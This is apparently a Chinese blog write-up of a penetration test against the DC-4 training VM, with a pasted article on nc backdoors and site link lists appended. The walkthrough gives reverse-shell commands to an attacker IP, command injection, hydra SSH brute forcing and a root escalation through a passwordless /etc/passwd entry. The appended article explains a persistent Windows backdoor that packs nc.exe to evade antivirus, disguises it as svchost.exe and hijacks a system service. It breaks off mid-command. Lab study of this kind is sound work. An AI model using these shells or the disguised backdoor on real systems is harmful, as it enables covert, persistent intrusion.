DC-4 渗透测试

冲冲冲,努力学习 。掌握 hydra ,nc反弹shell

记住你要干嘛, 找地方上传shell(大多以后台登录为切入点,再反弹shell),shell提权到root

操作机:kali 172.66.66.129

靶机:DC-4 172.66.66.134

网络模式:NAT

信息收集

基于ARP的网络扫描工具netdiscover

ARP是将IP地址转化物理地址的网络协议。

通过该协议,可以判断某个IP地址是否被使用,从而发现网络中存活的主机。

使用很简单(扫描本地网络):

netdiscover -r 172.66.66.0/24 //使用本机IP段

netdiscover -r 172.66.66.0/24扫描一下

nmap -sV -A -p- 172.66.66.134 -oN /tmp/DC-4.nmap养成好习惯,把扫描结果保存下来

-A :探测操作系统

-sV :探测版本

-p- :探测0~65535端口开放情况



开了22 、80端口

dirb http://172.66.66.134

dirb 后台扫描器,类似 windows下的御剑后台扫描器。

后台没啥有价值的发现,访问80,是个admin登录框,盲猜账号admin,考虑万能密码、爆破,

bp简单爆破一下得到 admin:happy登录,

谨记我们的任务:拿到shell,再提权到root

登录后台发现可以执行命令,然后呢?



查看源码,猜想radio的value是否可以篡改?点击run的时候submit一个反弹shell过去?抓个包测一下

仿佛看到了希望:改一下radio为nc -e /bin/bash 172.66.66.129 7777

nc -e /bin/bash localhost 端口

nc 的 -e 选项是 绑定cmd或者bash 但是原理是什么呢?它怎么实现绑定的?

另一个问题,为什么要绑定shell?意义何在?放在末尾回答这个问题(主要是为了留后门)

知乎看到的答案,看不懂就先放着吧

等哪天我回过头来翻笔记的时候,希望我能解决我今天的疑问

由于不确定服务器上的nc时候有-e选项,不过不成功的话就来个替代方案

nc 172.66.66.129 777 |/bin/bash| nc 172.66.66.129 8888

操作机打开俩中端分别监听 7777 8888

shell 反弹回来了。有没有发现,这不是交互的shell,那就整一个交互的出来,

python -c 'import pty;pty.spawn("/bin/bash")'

什么才是交互的?简单的理解是:输入与输出都重定向到了所得到的shell里,可以在命令模式输入命令,可以变量赋值... 那又是什么决定了最后的shell交互式与否?

得到一个陌生shell环境,要干嘛?收集信息。

echo $0、cat /etc/passwd | grep /bin/bash、cat /etc/issue、uname -a、python、php、vim、find / -perm -4000 -type f 2>/dev/null、echo $PATH、cd /home ......

留意一下上面这几个可登录的账号 charles、jim、sam,下面是操作系统和版本号

cd /home 下,只有jim里有个 backups的目录,test.sh的权限跟mbox的权限,反差太大了吧,看一眼test.sh

在backups里看到了个old-passwords.bak

还记得开了22端口和前面passwd文件里的可登录账号吗?后台的admin账号我们已经登录上去了,显然这是ssh的登录账号密码?不要在shell里操作靶机写如文件,不要这样做,不要这样做,账号保存到/tmp/users.txt里,密码另存一下放到 /tmp/passwd.txt 操作机写好,开个python服务器传上去。

cd 到文件目录下再执行

hydra -L users.txt -P passwd.txt ssh://172.66.66.134 -t 5 -vV



爆破结果:jim:jibril04 (登录之后不忘看看基本信息 如sudo -l等)

登录提示 you have mail

linux 的邮件一般放在这个路径 var/mail 或者 /var/spool/mail(软连接) cat 一下看看内容

得到:charles:^xHhA&hvim0y 切换账号

root权限免密码使用teehee ,teehee会用吗?滚去学teehee -a /etc/passwd

当发现有最追加写入文件功能的时候,直接往 /etc/passwd 里加个root用户

passwd的格式:[⽤户名]:[密码]:[UID]:[GID]:[⾝份描述]:[主⽬录]:[登录shell]

echo "axb::0:0:::/bin/bash" | sudo teehee -a /etc/passwd

(不设置密码就是免密码登录了吗?shadow文件没有写入相关信息)

提权到root

收获:

  1. hydra 会用吗?不会 ......滚回去学 (:_
  2. 我学完回来了.... -_-
  3. 不要尝试在目标机上编写文件,自己本地写好,传上去,nc传,python 简单服务器传,都行,就是不要在目标机上写,vi vim退不出来,把shell整没了就裂开。
  4. kali 里一个神奇的目录:/usr/share/wordlists 里面有个各种各样的字典,很多工具的字典都软连接到了里面。进去多用| grep 筛选一下自己想要的内容。
  5. 如果有root权限,能写入文件的话,考虑在 /etc/passwd 下加一个root账号,直接登录就可以了。
  6. teehee提权?这命令啥东西? 注意一个用法, echo 内容 | 写入目标文件 ,多用管道符。

hydra

-R 根据上一次进度继续破解

-S 使用SSL协议连接

-s 指定端口

-l 指定用户名

-L 指定用户名字典(文件)

-p 指定密码破解

-P 指定密码字典(文件)

-e 空密码探测和指定用户密码探测(ns)

-C 用户名可以用:分割(username:password)可以代替-l username -p password

-o 输出文件

-t 指定多线程数量,默认为16个线程

-vV 显示详细过程

server 目标IP

service 指定服务名(telnet ftp pop3 mssql mysql ssh ssh2......)

nc制作简单后门

首先请准备好不被杀的nc.exe(随便加个壳就可以了的),还有sc.exe(这个是操作服务的一个小工具,被人称为操作服务的军刀),这些就可以打造我们自己的后门了,后门的要求我想不需要很强的操作功能,只需要当我们连接的时候获得一个system权限的shell就可以了,有了cmdshell做什么不可以呢。如果你需要反弹的后门,也可以做到,自己注册个域名就可以用nc反弹了,因为比较复杂这里就不说了。我们知道nc就是实现我们的后门功能的最经典的工具,我们来看看nc的帮助,命令行下输入nc -h就可以看到,我们主要用到的几个参数如下:

-e 绑定一个程序并且连接时执行

-l 监听模式

-p 指定nc要运行的本地端口

-L 增强了的监听模式,当连接断开时再次监听

至于其他的用法相信各位已经很了解了的,我们以前经常用到的是

nc -l -e cmd.exe -p 8888 \监听8888端口,当有连接时重定向到cmd.exe实现绑定一个shell\

这样的形式用serveru等溢出程序执行后来绑定一个可以得到shell的端口8888,我们telnet或者nc连接上来的时候就可以直接获得一个shell。但是这样连接断开之后监听的端口就会关闭,是一次性的,不能再次获得shell,这样当然不适合于做后门了。后来发现nc的这个参数L可以一直保持监听的状态,可以反复连接。用

nc -L -e cmd.exe -p 8888 \也是绑定的,不过加强了的\

这样的命令就已经达到我们的目的了,但是我们往往是在溢出的shell里工作,留后门是为了以后的进入,那我们如何保证nc再机器重起之后还可以工作从而实现我们的后门的目的呢?你可以把他放到注册表的Run等启动项下面,但是感觉那样不是太好,有些地方已经被杀毒软件盯上了,把我的后门放到那里实在不是很放心,后来想到干脆作成服务吧!随着系统启动而启动,呵呵。那就看看如何打造服务吧!

首先我们将nc.exe放到%systemroot%\system32下面,起名叫svch0st.exe或者放到%systemroot%\system下面更名叫svchost.exe,这样的目的是为了在任务管理器里看不出异样。然后用sc替换系统的服务,不用改别的,只要修改他的执行路径就可以了,我们就改那个clipsrv.exe服务吧!命令如下:

sc config clipsrv start= auto \将clipsrv.exe服务设置为自动\

sc config cli

DC-4 靶机渗透测试的更多相关文章

  1. DC-1 靶机渗透测试

    DC-1靶机渗透测试 对着镜子大喊三声"太菜了""太菜了""太菜了" DC系列靶机的第一篇.边学习边日靶机边进步,摸爬滚打着前行. 内容不只 ...

  2. DC-5 靶机渗透测试

    DC-5 靶机渗透测试 冲冲冲,好好学习 .核心:footer 文件包含漏洞,wfuzz .收获总结写在文末. 谨记任务:找地方上传shell---> root. 操作机:kali 172.66 ...

  3. DC-2 靶机渗透测试

    DC-2 靶机渗透测试 冲冲冲,好好学习. 本靶机核心内容"受限shell提权",知识点在另一篇文章中总结归纳了. 攻击机:kali 靶 机:DC-2 准备:在使用前需要在操作机的 ...

  4. DC-9 靶机渗透测试

    DC-9 渗透测试 冲冲冲,好好学习 DC系列的9个靶机做完了,对渗透流程基本掌握,但是实战中出现的情况千千万万,需要用到的知识面太广了,学不可以已. 靶机IP: 172.66.66.139 kali ...

  5. DC-7 靶机渗透测试

    DC-7 渗透测试 冲冲冲,好好学习 .对管道符的理解加深了好多.最后提权时,遇到了点麻烦.想不懂一条命令为啥能执行生效,耗了一整天才算解决掉. 操作机:kali 172.66.66.129 靶机:D ...

  6. DC-8 靶机渗透测试

    DC-8 渗透测试 冲冲冲 ,好好学习 . 核心:cms上传添加存在漏洞组件,利用该组件getshell 操作机:kali 172.66.66.129 靶机:DC-4 172.66.66.137 网络 ...

  7. DC-6 靶机渗透测试

    DC-6 渗透测试 冲冲冲,好好学习 . 收获总结写在文末. 操作机:kali 172.66.66.129 靶机:DC-4 172.66.66.136 网络模式:NAT 上来一波 netdiscove ...

  8. DC 1-3 靶机渗透

    DC-1靶机 端口加内网主机探测,发现192.168.114.146这台主机,并且开放了有22,80,111以及48683这几个端口. 发现是Drupal框架. 进行目录的扫描: 发现admin被禁止 ...

  9. vulnhub-DC:7靶机渗透记录

    准备工作 在vulnhub官网下载DC:7靶机DC: 7 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 已经知道了靶 ...

随机推荐

  1. org.junit.Assert(断言)

    org.junit.Assert(断言) Assert是断言的意思,可以理解为"猜测",如果猜测错误,则抛出java.lang.AssertionError异常.  引入jar包  ...

  2. token & refresh token 机制总结

    token & refresh token 机制总结 废话 我在项目上写了个配置页面,之前很简单直接登录,毕竟配置页面自己人用就没有做token机制,后来公司的安全审核不过,现在要加上toke ...

  3. excel VBA正则匹配单元格符号,并按符号把单元格拆分行(这里是按第一列分行,分行是从活动单元格的行开始,分行前需要选择所有需要填充内容的列,否则需要后期手动填充)

    Sub W()   ' MsgBox "行数:" & Selection.Rows.Count    Dim rows_count As Integer    Dim ro ...

  4. 03 jumpserver用户管理

    3.用户管理: (1)创建用户组: (2)创建用户并加入组: (3)用户通过邮件链接修改密码:

  5. SonarQube集成Gitlab

    SonarQube配置gitlab Gitlab创建访问Token 拷贝此Token至Sonarqube进行配置 检查配置配置成功 可以看到权限内的项目

  6. 其他:Git生成SSH、Git生成本地库、下载远程库代码 命令

    1.安装Git Bash https://git-scm.com/downloads 2.鼠标右键git bash here 3.执行以下命令: ①   cd ~/.ssh/    [如果没有对应的文 ...

  7. java面试一日一题:字节java后端工程师面试题

    今天来分享下字节一面面试题,各位小伙伴看看都能答上来吗,弄懂下面的问题你离字节又近了一步哦,加油吧 1.自我介绍: 2.问到项目中为什么选择hbase,如果有多个查询条件如何设置数据存储方案: 3.t ...

  8. Entity Framework Core中的数据迁移命令

    使用程序包管理控制台输入命令. 数据迁移命令: Add-Migration  对比当前数据库和模型的差异,生成相应的代码,使数据库和模型匹配的. Remove-Migration 删除上次的迁移 Sc ...

  9. Python小白的数学建模课-B4. 新冠疫情 SIR模型

    Python小白的数学建模课-B4. 新冠疫情 SIR模型 传染病的数学模型是数学建模中的典型问题,常见的传染病模型有 SI.SIR.SIRS.SEIR 模型. SIR 模型将人群分为易感者(S类). ...

  10. python使用笔记006-函数+json操作

    一.函数 函数:提高代码的复用性 1.1 函数的定义 1 def hello(): 2 print('hello') 3 print('fdsfjslkfs') 4 5 #函数不调用就不会执行 6 h ...